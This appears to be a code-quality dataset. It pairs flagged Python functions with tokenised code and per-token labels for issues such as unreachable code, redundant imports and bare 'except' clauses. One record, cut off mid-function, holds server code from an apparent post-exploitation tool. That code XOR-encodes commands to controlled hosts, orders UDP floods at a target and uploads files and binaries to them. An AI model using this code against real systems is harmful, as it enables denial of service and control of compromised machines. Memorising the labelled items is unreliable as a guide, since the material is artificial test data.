"\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "delete", "d", "Messag", "e", "Count_", "=_", "db_", "._", "delete", "d", "Messag", "e", "Count_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "array", "Of", "Messages_", "=_", "Array", "List_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "temp", "Request", "Response_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "index_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "Domain_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "replace", "For", "All_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "skipped_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "message_", "in_", "db_", "._", "array", "Of", "Messages_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "keep", "try", "ing_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "keep", "try", "ing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "temp", "Request", "Response_", "._", "append_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "new", "Domain_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "request", "Data_", "=_", "replace", "Domain_", "(_", "message_", "._", "\\u", "request", "Data_", ",_", "message_", "._", "\\u", "host_", ",_", "new", "Domain_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "new", "Domain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", " ", "consider", " ", "chang", "ing", " ", "port", " ", "too", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "request", "Data_", "=_", "message_", "._", "\\u", "request", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "message_", "._", "\\u", "host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "t_", "=_", "Thread_", "(_", "target_", "=_", "load", "Request", "Response_", ",_", "args_", "=_", "[_", "index_", ",_", "callbacks_", ",_", "helpers_", ",_", "host_", ",_", "message_", "._", "\\u", "port_", ",_", "message_", "._", "\\u", "protocol_", ",_", "request", "Data_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "start_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "join_", "(_", "self_", "._", "LOAD", "\\u", "TIMEOUT_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "t_", "._", "is", "Alive_", "(_", ")_", "and_", "self_", "._", "temp", "Request", "Response_", "[_", "index_", "]_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "array", "Of", "Messages_", "._", "add_", "(_", "Messag", "e", "Entry_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "._", "\\u", "index_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "._", "\\u", "table", "Row_", "-_", "skipped_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "callbacks_", "._", "save", "Buffers", "To", "Temp", "Files_", "(_", "self_", "._", "temp", "Request", "Response_", "[_", "index_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "message_", "._", "\\u", "url_", ",_", "message_", "._", "\\u", "name_", ",_", "message_", "._", "\\u", "roles_", ",_", "message_", "._", "\\u", "success", "Regex_", ",_", "message_", "._", "\\u", "deleted_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keep", "try", "ing_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "replace", "For", "All_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "new", "Domain_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "keep", "try", "ing_", ",_", "new", "Domain_", ",_", "replace", "For", "All_", "=_", "extend", "er_", "._", "change", "Doma", "in", "Popup_", "(_", "host_", ",_", "message_", "._", "\\u", "table", "Row_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "keep", "try", "ing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "skipped_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "lock_", "._", "release_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "User", "Table", "Model_", "(_", "Abstract", "Table", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Row", "Count_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "len_", "(_", "self_", "._", "\\u", "db_", "._", "get", "Activ", "e", "User", "Indexes_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "User", "Table", "Model_", "(_", "Abstract", "Table", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Colum", "n", "Count_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "NOTE", ":", " ", "may", "be", " ", "remove", " ", "this", " ", "try", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "len_", "(_", "self_", "._", "\\u", "db_", "._", "get", "Activ", "e", "Ro", "le", "Indexes_", "(_", ")_", ")_", "+_", "self_", "._", "\\u", "db_", "._", "STATI", "C", "\\u", "USER", "\\u", "TAB", "LE", "\\u", "COL", "UM", "N", "\\u", "COUNT_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "db_", "._", "STATI", "C", "\\u", "USER", "\\u", "TAB", "LE", "\\u", "COL", "UM", "N", "\\u", "COUNT_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Messag", "e", "Table", "Model_", "(_", "Abstract", "Table", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Row", "Count_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "len_", "(_", "self_", "._", "\\u", "db_", "._", "get", "Activ", "e", "Messag", "e", "Indexes_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\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.py
[ { "content": "def _check_fortran_runtime_flags(conf):\n if not FC_VERBOSE_FLAG in conf.env:\n raise ValueError(\"\"\"\\\nYou need to call check_fortran_verbose_flag before getting runtime\nflags (or to define the %s variable)\"\"\" % FC_VERBOSE_FLAG)\n code = \"\"\"\\\n program main\n end\n\"\"\"\n\n conf.start_message(\"Checking for fortran runtime flags\")\n\n old = copy.deepcopy(conf.env[\"F77_LINKFLAGS\"])\n try:\n conf.env[\"F77_LINKFLAGS\"].append(conf.env[\"FC_VERBOSE_FLAG\"])\n ret = conf.builders[\"fortran\"].try_program(\"check_fc\", code)\n if ret:\n stdout = conf.get_stdout(conf.last_task)\n flags = parse_flink(stdout)\n conf.end_message(\"%r\" % \" \".join(flags))\n conf.env[FC_RUNTIME_LDFLAGS] = flags\n return True\n else:\n conf.end_message(\"failed !\")\n return False\n finally:\n conf.env[\"F77_LINKFLAGS\"] = old\n return False", "metadata": "root._check_fortran_runtime_flags", "header": "['module', '___EOS___']", "index": 77 } ]
[ { "span": "return False", "start_line": 104, "start_column": 4, "end_line": 104, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Unrea", "chab", "le_", "code_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "check", "\\u", "fortran", "\\u", "runt", "ime", "\\u", "flags_", "(_", "conf_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "FC", "\\u", "VERBOS", "E", "\\u", "FLAG_", "in_", "conf_", "._", "env_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"\"\"", "\\\\", "\\", "10", ";", "You", " ", "need", " ", "to", " ", "call", " ", "check", "\\u", "fortran", "\\u", "verbo", "se", "\\u", "flag", " ", "bef", "ore", " ", "getti", "ng", " ", "runt", "ime", "\\", "10", ";", "flags", " ", "(", "or", " ", "to", " ", "defin", "e", " ", "the", " ", "%", "s", " ", "variab", "le", ")\"\"\"_", "%_", "FC", "\\u", "VERBOS", "E", "\\u", "FLAG_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "code_", "=_", "\"\"\"", "\\\\", "\\", "10", ";", " ", " ", " ", "program", " ", "main", "\\", "10", ";", " ", " ", " ", "end", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "conf_", "._", "start", "\\u", "message_", "(_", "\"", "Check", "ing", " ", "for", " ", "fortran", " ", "runt", "ime", " ", "flags", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "old_", "=_", "copy_", "._", "deepcopy_", "(_", "conf_", "._", "env_", "[_", "\"", "F", "7", "7", "\\u", "LINK", "FLAG", "S", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conf_", "._", "env_", "[_", "\"", "F", "7", "7", "\\u", "LINK", "FLAG", "S", "\"_", "]_", "._", "append_", "(_", "conf_", "._", "env_", "[_", "\"", "FC", "\\u", "VERBOS", "E", "\\u", "FLAG", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "conf_", "._", "builders_", "[_", "\"", "fortran", "\"_", "]_", "._", "try", "\\u", "program_", "(_", "\"", "check", "\\u", "fc", "\"_", ",_", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ret_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stdout_", "=_", "conf_", "._", "get", "\\u", "stdout_", "(_", "conf_", "._", "last", "\\u", "task_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flags_", "=_", "parse", "\\u", "flin", "k_", "(_", "stdout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conf_", "._", "end", "\\u", "message_", "(_", "\"%", "r", "\"_", "%_", "\"", " ", "\"_", "._", "join_", "(_", "flags_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conf_", "._", "env_", "[_", "FC", "\\u", "RUNT", "IME", "\\u", "LD", "FLAGS_", "]_", "=_", "flags_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conf_", "._", "end", "\\u", "message_", "(_", "\"", "fail", "ed", " ", "!\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conf_", "._", "env_", "[_", "\"", "F", "7", "7", "\\u", "LINK", "FLAG", "S", "\"_", "]_", "=_", "old_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2 ]
Module is imported with 'import' and 'import from'
ucb-sts/sts/sts/syncproto/pox_syncer.py
[ { "content": "# Copyright 2011-2013 Colin Scott\n# Copyright 2011-2013 Andreas Wundsam\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at:\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# This module runs inside a POX process. It's loaded into pox/ext before\n# booting POX.\n\nimport logging\nimport time\nimport os\nimport socket\n\nfrom pox.core import core, UpEvent\nfrom pox.lib.graph.nom import Switch, Host, Link\nfrom pox.lib.graph.util import NOMEncoder\n\nfrom sts.util.io_master import IOMaster\nfrom sts.syncproto.base import SyncTime, SyncMessage, SyncProtocolSpeaker, SyncIODelegate\nfrom pox.lib.util import parse_openflow_uri\nfrom pox.lib.recoco import Task, Select\n\nfrom logging import Logger\n\nlog = logging.getLogger(\"pox_syncer\")\n\n# POX Module launch method\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import logging", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 14 } ]
[]
1
true
[ "[CLS]_", "Module_", "is_", "imported_", "with_", "'", "import", "'_", "and_", "'", "import", " ", "from", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2011", "-", "2013", " ", "Col", "in", " ", "Scot", "t_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", "right", " ", "2011", "-", "2013", " ", "Andre", "as", " ", "Wu", "nd", "sam", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "License", "d", " ", "under", " ", "the", " ", "Ap", "ache", " ", "License", ",", " ", "Version", " ", "2.0", " ", "(", "the", " ", "\"", "License", "\");", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "you", " ", "may", " ", "not", " ", "use", " ", "this", " ", "file", " ", "except", " ", "in", " ", "compli", "anc", "e", " ", "with", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "You", " ", "may", " ", "obtain", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "License", " ", "at", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "http", "://", "www", ".", "apa", "che", ".", "org", "/", "license", "s", "/", "LICENSE", "-", "2.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Un", "less", " ", "require", "d", " ", "by", " ", "applica", "ble", " ", "law", " ", "or", " ", "agree", "d", " ", "to", " ", "in", " ", "writ", "ing", ",", " ", "software", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "distributed", " ", "under", " ", "the", " ", "License", " ", "is", " ", "distributed", " ", "on", " ", "an", " ", "\"", "AS", " ", "IS", "\"", " ", "BAS", "IS", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "WITH", "OUT", " ", "WAR", "RAN", "TIES", " ", "OR", " ", "CONDITION", "S", " ", "OF", " ", "ANY", " ", "KIND", ",", " ", "eit", "her", " ", "express", " ", "or", " ", "impli", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "See", " ", "the", " ", "License", " ", "for", " ", "the", " ", "specific", " ", "language", " ", "govern", "ing", " ", "permissi", "ons", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "limit", "ation", "s", " ", "under", " ", "the", " ", "License", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", " ", "module", " ", "runs", " ", "insi", "de", " ", "a", " ", "PO", "X", " ", "process", ".", " ", "It", "'", "s", " ", "load", "ed", " ", "int", "o", " ", "po", "x", "/", "ext", " ", "before_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "boot", "ing", " ", "PO", "X", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "po", "x_", "._", "core_", "import_", "core_", ",_", "Up", "Event_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "po", "x_", "._", "lib_", "._", "graph_", "._", "nom_", "import_", "Switch_", ",_", "Host_", ",_", "Link_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "po", "x_", "._", "lib_", "._", "graph_", "._", "util_", "import_", "NOM", "Encoder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "sts_", "._", "util_", "._", "io", "\\u", "master_", "import_", "IO", "Master_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sts_", "._", "sync", "proto_", "._", "base_", "import_", "Sync", "Time_", ",_", "Sync", "Message_", ",_", "Sync", "Proto", "col", "Speak", "er_", ",_", "Sync", "IO", "Delegate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "po", "x_", "._", "lib_", "._", "util_", "import_", "parse", "\\u", "openf", "low", "\\u", "uri_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "po", "x_", "._", "lib_", "._", "reco", "co_", "import_", "Task_", ",_", "Select_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "logging_", "import_", "Logger_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "\"", "po", "x", "\\u", "sync", "er", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "PO", "X", " ", "Modul", "e", " ", "launch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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unnecessary 'else' clause in loop
VisTrails/VisTrails/vistrails/gui/bundles/utils.py
[ { "content": " def guess_system(self):\n for (name, callable_) in self._callable_dict.iteritems():\n if callable_():\n return name\n else:\n return 'UNKNOWN'", "metadata": "root.System_guesser.guess_system", "header": "['class', 'System_guesser', '(', 'object', ')', ':', '___EOS___']", "index": 105 } ]
[ { "span": "for (name, callable_) in self._callable_dict.iteritems():", "start_line": 106, "start_column": 8, "end_line": 106, "end_column": 65 } ]
[]
1
true
[ "[CLS]_", "Un", "necessar", "y_", "'", "else", "'_", "clause_", "in_", "loop_", "[SEP]_", "class_", "System", "\\u", "guess", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "guess", "\\u", "system_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "(_", "name_", ",_", "callable\\u", "_", ")_", "in_", "self_", "._", "\\u", "callable\\u", "dict_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "callable\\u", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "UNK", "NOW", "N", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
panagiks/RSPET/Server/RSPET_server.py
[ { "content": "def send_comm(command, cur_host_con):\n encode = bytearray(command)\n for i in range(len(encode)):\n encode[i] ^=0x41\n try:\n cur_host_con.send(encode)\n return 0\n except:\n return 1", "metadata": "root.send_comm", "header": "['module', '___EOS___']", "index": 13 }, { "content": "def UDP_Flood(target,cur_host_con,cur_host_id,handler):\n target_IP = target[0]\n target_Port = target[1]\n try:\n msg = target[2]\n except:\n msg = \"Hi\"\n flood_command = 'udpFlood'\n res = send_comm(flood_command,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n sleep(0.1)\n res = send_comm((target_IP+\":\"+str(target_Port)),cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n sleep(0.1)\n res = send_comm(msg,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n sleep(0.1)\n return 0", "metadata": "root.UDP_Flood", "header": "['module', '___EOS___']", "index": 30 }, { "content": "def Make_File(nameSet,cur_host_con,cur_host_id,handler):\n fileToRead = nameSet[0]\n try:\n remoteFileName = nameSet[1]\n except:\n remoteFileName = fileToRead\n if remoteFileName == '':\n remoteFileName = fileToRead\n res = send_comm('getFile',cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(remoteFileName,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(1024,cur_host_con)\n if decode == \"fna\":\n return 2\n else:\n try:\n fileToRead = open(fileToRead,'r')\n except:\n return 3\n command = fileToRead.read()\n fileToRead.close()\n fSize = sys.getsizeof(command)\n fSize = str(fSize)\n res = send_comm(fSize, cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(command,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(1024,cur_host_con)\n return 0", "metadata": "root.Make_File", "header": "['module', '___EOS___']", "index": 55 }, { "content": "def Make_Binary(nameSet, cur_host_con, cur_host_id,handler):\n binToRead = nameSet[0]\n try:\n remoteBinName = nameSet[1]\n except:\n remoteBinName = binToRead\n if remoteBinName == '':\n remoteBinName = binToRead\n res = send_comm('getBinary',cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n res = send_comm(remoteBinName,cur_host_con)\n if res == 1:\n handler.remove_host(cur_host_id)\n return 1\n decode = recv_comm(1024,cur_host_con)\n if decode == \"fna\":\n return 2\n else:\n try:\n binToRead = open(binToRead,'rb')\n except:\n return 3\n command = binToRead.read()\n binToRead.close()\n bSize = 